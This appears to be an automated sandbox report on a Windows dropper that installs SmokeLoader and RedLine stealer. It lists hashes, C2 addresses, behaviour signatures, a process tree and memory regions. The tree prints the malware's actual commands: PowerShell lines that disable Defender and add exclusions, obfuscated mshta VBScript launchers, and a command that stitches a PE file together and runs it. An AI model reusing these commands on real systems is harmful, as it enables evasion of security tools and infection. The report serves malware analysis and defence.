Analysis

  • max time kernel
    166s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    08-11-2021 10:07

General

  • Target

    096fc162ed138cc3d9ee62631325c0d7d2957d6a1b7eec705da59004b83fd6c8.exe

  • Size

    4.2MB

  • MD5

    a6ba5fc790a5f555b8b6f28e7837253c

  • SHA1

    ea77f8f24c106948eb398d682826afde02c7270d

  • SHA256

    096fc162ed138cc3d9ee62631325c0d7d2957d6a1b7eec705da59004b83fd6c8

  • SHA512

    5f77a237fdeffaaefac2decb9f08fdba7d909709c3796ef3142922559a5e8c25c9c0856088c9ce9f2025dcd91aa25b48f891ae9cb1d1a28275a2ad43f48f8fa2

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://directorycart.com/upload/

http://tierzahnarzt.at/upload/

http://streetofcards.com/upload/

http://ycdfzd.com/upload/

http://successcoachceo.com/upload/

http://uhvu.cn/upload/

http://japanarticle.com/upload/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

media23

C2

91.121.67.60:23325

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 5 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • suricata: ET MALWARE ClipBanker Variant Activity (POST)

    suricata: ET MALWARE ClipBanker Variant Activity (POST)

  • suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

    suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin

  • ASPack v2.12-2.42 6 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Executes dropped EXE 12 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 52 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 9 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 16 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 8 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k netsvcs
    1⤵
    • Suspicious use of NtCreateUserProcessOtherParentProcess
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    PID:876
  • C:\Windows\system32\services.exe
    C:\Windows\system32\services.exe
    1⤵
      PID:464
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k SystemNetworkService
        2⤵
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        PID:1576
    • C:\Users\Admin\AppData\Local\Temp\096fc162ed138cc3d9ee62631325c0d7d2957d6a1b7eec705da59004b83fd6c8.exe
      "C:\Users\Admin\AppData\Local\Temp\096fc162ed138cc3d9ee62631325c0d7d2957d6a1b7eec705da59004b83fd6c8.exe"
      1⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:844
      • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
        "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:932
        • C:\Users\Admin\AppData\Local\Temp\7zS4A3F0E86\setup_install.exe
          "C:\Users\Admin\AppData\Local\Temp\7zS4A3F0E86\setup_install.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1864
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:928
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1612
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1780
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
              5⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1988
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Sat0663b341399ee.exe
            4⤵
            • Loads dropped DLL
            PID:1308
            • C:\Users\Admin\AppData\Local\Temp\7zS4A3F0E86\Sat0663b341399ee.exe
              Sat0663b341399ee.exe
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              PID:2032
              • C:\Windows\SysWOW64\mshta.exe
                "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS4A3F0E86\Sat0663b341399ee.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS4A3F0E86\Sat0663b341399ee.exe"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
                6⤵
                  PID:1868
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS4A3F0E86\Sat0663b341399ee.exe" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS4A3F0E86\Sat0663b341399ee.exe" ) do taskkill /F -Im "%~NxU"
                    7⤵
                    • Loads dropped DLL
                    PID:2044
                    • C:\Users\Admin\AppData\Local\Temp\09xU.exE
                      09xU.EXE -pPtzyIkqLZoCarb5ew
                      8⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:1080
                      • C:\Windows\SysWOW64\mshta.exe
                        "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
                        9⤵
                        • Modifies Internet Explorer settings
                        PID:112
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE" ) do taskkill /F -Im "%~NxU"
                          10⤵
                            PID:1732
                        • C:\Windows\SysWOW64\mshta.exe
                          "C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " , 0 ,TRuE ) )
                          9⤵
                            PID:1276
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
                              10⤵
                                PID:724
                                • C:\Windows\SysWOW64\cmd.exe
                                  C:\Windows\system32\cmd.exe /S /D /c" eCHO "
                                  11⤵
                                    PID:644
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
                                    11⤵
                                      PID:752
                                    • C:\Windows\SysWOW64\control.exe
                                      control .\R6f7sE.I
                                      11⤵
                                        PID:1368
                                • C:\Windows\SysWOW64\taskkill.exe
                                  taskkill /F -Im "Sat0663b341399ee.exe"
                                  8⤵
                                  • Kills process with taskkill
                                  PID:1168
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c Sat062000ca9aa6.exe
                          4⤵
                          • Loads dropped DLL
                          PID:1016
                          • C:\Users\Admin\AppData\Local\Temp\7zS4A3F0E86\Sat062000ca9aa6.exe
                            Sat062000ca9aa6.exe
                            5⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Suspicious use of SetThreadContext
                            PID:1908
                            • C:\Users\Admin\AppData\Local\Temp\7zS4A3F0E86\Sat062000ca9aa6.exe
                              C:\Users\Admin\AppData\Local\Temp\7zS4A3F0E86\Sat062000ca9aa6.exe
                              6⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              PID:2024
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c Sat0647140c100d63.exe
                          4⤵
                          • Loads dropped DLL
                          PID:1824
                          • C:\Users\Admin\AppData\Local\Temp\7zS4A3F0E86\Sat0647140c100d63.exe
                            Sat0647140c100d63.exe
                            5⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Checks SCSI registry key(s)
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious behavior: MapViewOfSection
                            PID:296
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c Sat060fd7e42d2.exe
                          4⤵
                          • Loads dropped DLL
                          PID:1728
                          • C:\Users\Admin\AppData\Local\Temp\7zS4A3F0E86\Sat060fd7e42d2.exe
                            Sat060fd7e42d2.exe
                            5⤵
                            • Executes dropped EXE
                            PID:1564
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c Sat06f5ed0e3bb24.exe
                          4⤵
                            PID:792
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c Sat0619212f22dd7.exe
                            4⤵
                            • Loads dropped DLL
                            PID:608
                            • C:\Users\Admin\AppData\Local\Temp\7zS4A3F0E86\Sat0619212f22dd7.exe
                              Sat0619212f22dd7.exe
                              5⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              PID:2028
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c Sat06ebc37d1c94352.exe
                            4⤵
                            • Loads dropped DLL
                            PID:1972
                            • C:\Users\Admin\AppData\Local\Temp\7zS4A3F0E86\Sat06ebc37d1c94352.exe
                              Sat06ebc37d1c94352.exe
                              5⤵
                              • Executes dropped EXE
                              • Modifies system certificate store
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1000
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c Sat0618d93ac2c5c.exe
                            4⤵
                            • Loads dropped DLL
                            PID:896
                            • C:\Users\Admin\AppData\Local\Temp\7zS4A3F0E86\Sat0618d93ac2c5c.exe
                              Sat0618d93ac2c5c.exe
                              5⤵
                              • Executes dropped EXE
                              • Checks computer location settings
                              • Loads dropped DLL
                              • Drops Chrome extension
                              PID:1968
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c Sat0675f75df01bdb.exe
                            4⤵
                            • Loads dropped DLL
                            PID:944
                            • C:\Users\Admin\AppData\Local\Temp\7zS4A3F0E86\Sat0675f75df01bdb.exe
                              Sat0675f75df01bdb.exe
                              5⤵
                              • Executes dropped EXE
                              • Loads dropped DLL
                              PID:1800
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c taskkill /im "Sat0675f75df01bdb.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS4A3F0E86\Sat0675f75df01bdb.exe" & exit
                                6⤵
                                  PID:564
                                  • C:\Windows\SysWOW64\taskkill.exe
                                    taskkill /im "Sat0675f75df01bdb.exe" /f
                                    7⤵
                                    • Kills process with taskkill
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1712
                            • C:\Windows\SysWOW64\WerFault.exe
                              C:\Windows\SysWOW64\WerFault.exe -u -p 1864 -s 444
                              4⤵
                              • Loads dropped DLL
                              • Program crash
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious behavior: GetForegroundWindowSpam
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1492
                      • C:\Windows\system32\rundll32.exe
                        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                        1⤵
                        • Process spawned unexpected child process
                        PID:296
                        • C:\Windows\SysWOW64\rundll32.exe
                          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                          2⤵
                          • Loads dropped DLL
                          • Modifies registry class
                          • Suspicious use of AdjustPrivilegeToken
                          PID:268

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • memory/268-204-0x0000000000A10000-0x0000000000B11000-memory.dmp

                        Filesize

                        1.0MB

                      • memory/268-206-0x0000000000320000-0x000000000037D000-memory.dmp

                        Filesize

                        372KB

                      • memory/296-163-0x0000000000A50000-0x0000000000A61000-memory.dmp

                        Filesize

                        68KB

                      • memory/296-169-0x0000000000240000-0x0000000000249000-memory.dmp

                        Filesize

                        36KB

                      • memory/296-171-0x0000000000400000-0x0000000000883000-memory.dmp

                        Filesize

                        4.5MB

                      • memory/844-55-0x00000000763C1000-0x00000000763C3000-memory.dmp

                        Filesize

                        8KB

                      • memory/876-205-0x0000000000920000-0x000000000096D000-memory.dmp

                        Filesize

                        308KB

                      • memory/876-207-0x0000000001700000-0x0000000001772000-memory.dmp

                        Filesize

                        456KB

                      • memory/1000-180-0x0000000000C40000-0x0000000000C41000-memory.dmp

                        Filesize

                        4KB

                      • memory/1000-197-0x000000001AEA0000-0x000000001AEA2000-memory.dmp

                        Filesize

                        8KB

                      • memory/1000-194-0x0000000000140000-0x0000000000141000-memory.dmp

                        Filesize

                        4KB

                      • memory/1204-188-0x0000000002B00000-0x0000000002B16000-memory.dmp

                        Filesize

                        88KB

                      • memory/1492-190-0x0000000000850000-0x0000000000851000-memory.dmp

                        Filesize

                        4KB

                      • memory/1576-248-0x000007FEFBB41000-0x000007FEFBB43000-memory.dmp

                        Filesize

                        8KB

                      • memory/1576-208-0x0000000000060000-0x00000000000AD000-memory.dmp

                        Filesize

                        308KB

                      • memory/1576-244-0x00000000004E0000-0x00000000004FB000-memory.dmp

                        Filesize

                        108KB

                      • memory/1576-245-0x00000000030A0000-0x00000000031A5000-memory.dmp

                        Filesize

                        1.0MB

                      • memory/1576-210-0x0000000000460000-0x00000000004D2000-memory.dmp

                        Filesize

                        456KB

                      • memory/1612-195-0x0000000000222000-0x0000000000224000-memory.dmp

                        Filesize

                        8KB

                      • memory/1612-181-0x0000000000220000-0x0000000000221000-memory.dmp

                        Filesize

                        4KB

                      • memory/1612-192-0x0000000000221000-0x0000000000222000-memory.dmp

                        Filesize

                        4KB

                      • memory/1800-174-0x0000000000400000-0x000000000089B000-memory.dmp

                        Filesize

                        4.6MB

                      • memory/1800-173-0x0000000000250000-0x0000000000299000-memory.dmp

                        Filesize

                        292KB

                      • memory/1800-172-0x00000000009C0000-0x00000000009E9000-memory.dmp

                        Filesize

                        164KB

                      • memory/1864-94-0x0000000064940000-0x0000000064959000-memory.dmp

                        Filesize

                        100KB

                      • memory/1864-93-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                        Filesize

                        1.5MB

                      • memory/1864-84-0x000000006B440000-0x000000006B4CF000-memory.dmp

                        Filesize

                        572KB

                      • memory/1864-85-0x000000006B440000-0x000000006B4CF000-memory.dmp

                        Filesize

                        572KB

                      • memory/1864-86-0x000000006B440000-0x000000006B4CF000-memory.dmp

                        Filesize

                        572KB

                      • memory/1864-88-0x0000000064940000-0x0000000064959000-memory.dmp

                        Filesize

                        100KB

                      • memory/1864-90-0x0000000064940000-0x0000000064959000-memory.dmp

                        Filesize

                        100KB

                      • memory/1864-87-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                        Filesize

                        1.5MB

                      • memory/1864-89-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                        Filesize

                        1.5MB

                      • memory/1864-92-0x0000000064940000-0x0000000064959000-memory.dmp

                        Filesize

                        100KB

                      • memory/1864-97-0x000000006B440000-0x000000006B4CF000-memory.dmp

                        Filesize

                        572KB

                      • memory/1864-96-0x000000006B280000-0x000000006B2A6000-memory.dmp

                        Filesize

                        152KB

                      • memory/1864-91-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                        Filesize

                        1.5MB

                      • memory/1864-95-0x000000006B280000-0x000000006B2A6000-memory.dmp

                        Filesize

                        152KB

                      • memory/1864-99-0x000000006FE40000-0x000000006FFC6000-memory.dmp

                        Filesize

                        1.5MB

                      • memory/1908-168-0x0000000000C90000-0x0000000000C91000-memory.dmp

                        Filesize

                        4KB

                      • memory/1908-201-0x0000000004460000-0x0000000004461000-memory.dmp

                        Filesize

                        4KB

                      • memory/1968-249-0x0000000003F80000-0x00000000040CC000-memory.dmp

                        Filesize

                        1.3MB

                      • memory/1988-196-0x00000000020C0000-0x0000000002D0A000-memory.dmp

                        Filesize

                        12.3MB

                      • memory/1988-193-0x00000000020C0000-0x0000000002D0A000-memory.dmp

                        Filesize

                        12.3MB

                      • memory/1988-191-0x00000000020C0000-0x0000000002D0A000-memory.dmp

                        Filesize

                        12.3MB

                      • memory/2024-222-0x0000000000900000-0x0000000000901000-memory.dmp

                        Filesize

                        4KB

                      • memory/2024-212-0x0000000000400000-0x0000000000420000-memory.dmp

                        Filesize

                        128KB

                      • memory/2024-211-0x0000000000400000-0x0000000000420000-memory.dmp

                        Filesize

                        128KB

                      • memory/2024-213-0x0000000000400000-0x0000000000420000-memory.dmp

                        Filesize

                        128KB

                      • memory/2024-214-0x0000000000400000-0x0000000000420000-memory.dmp

                        Filesize

                        128KB

                      • memory/2024-218-0x0000000000400000-0x0000000000420000-memory.dmp

                        Filesize

                        128KB

                      • memory/2024-215-0x0000000000400000-0x0000000000420000-memory.dmp

                        Filesize

                        128KB